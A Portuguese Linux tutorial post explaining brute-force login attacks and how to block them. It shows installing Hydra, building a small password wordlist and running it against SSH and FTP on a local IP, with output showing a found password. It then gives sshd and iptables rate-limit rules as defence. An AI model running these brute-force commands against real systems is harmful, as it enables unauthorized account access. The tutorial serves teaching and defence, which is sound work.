Enviado em 24/04/2019 - 10:46h
Os ataques com força bruta (bruteforce) estão entre as formas mais antigas de hacking, além de serem simples de se implementar, mesmo com pouco conhecimento técnico. Esse tipo de ataque, consiste em multiplas tentativas de login em servidores, usando uma lista de possíveis usuários e senhas, até que se tenha sucesso na autenticação. Uma das formas de prevenção para esse tipo de ataque, está em proibir usuários que tentarem o acesso mais de X vezes por minuto.https://thehacktoday.com/password-cracking-dictionarys-download-for-free/
https://wiki.skullsecurity.org/Passwords
# apt -y install hydra
$ nano wordlist.txt
password
P@ssw0rd
toor
12345678
$ hydra -l diego -P wordlist.txt 192.168.15.205 ssh
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2019-04-24 10:25:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 4 tasks per 1 server, overall 64 tasks, 4 login tries (l:1/p:4), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.15.205 login: diego password: toor
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-04-24 10:26:09
[22][ssh] host: 192.168.15.205 login: diego password: toor
1 of 1 target successfully completed, 1 valid password found
$ hydra -l root -P wordlist.txt 192.168.15.205 ssh
$ hydra -l diego -P wordlist.txt 192.168.15.205 ftp
# nano /etc/ssh/sshd_config
# /etc/init.d/ssh restart
# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --dports 21,22,110,143 -m recent --update --seconds 3600 --name BANNED --rsource -j DROP
# iptables-save > /etc/iptables/rules.v4
# service iptables restart
https://www.drsolutions.com.br
Atualizar o macOS no Mac - Opencore Legacy Patcher
Crie alias para as tarefas que possuam longas linhas de comando - bash e zsh
Criando um gateway de internet com o Debian
Configuração básica do Conky para mostrar informações sobre a sua máquina no Desktop
Aprenda a criar músicas com Inteligência Artificial usando Suno AI
Instalando e usando o Dconf Editor, o "regedit" para Linux
Como instalar o navegador TOR no seu Linux
Instalando Zoom Client no Ubuntu 24.04 LTS
Remover por completo uma DE (3)
Dificuldade em ler binário (17)
Manjaro Substituindo Ubuntu no Desktop (7)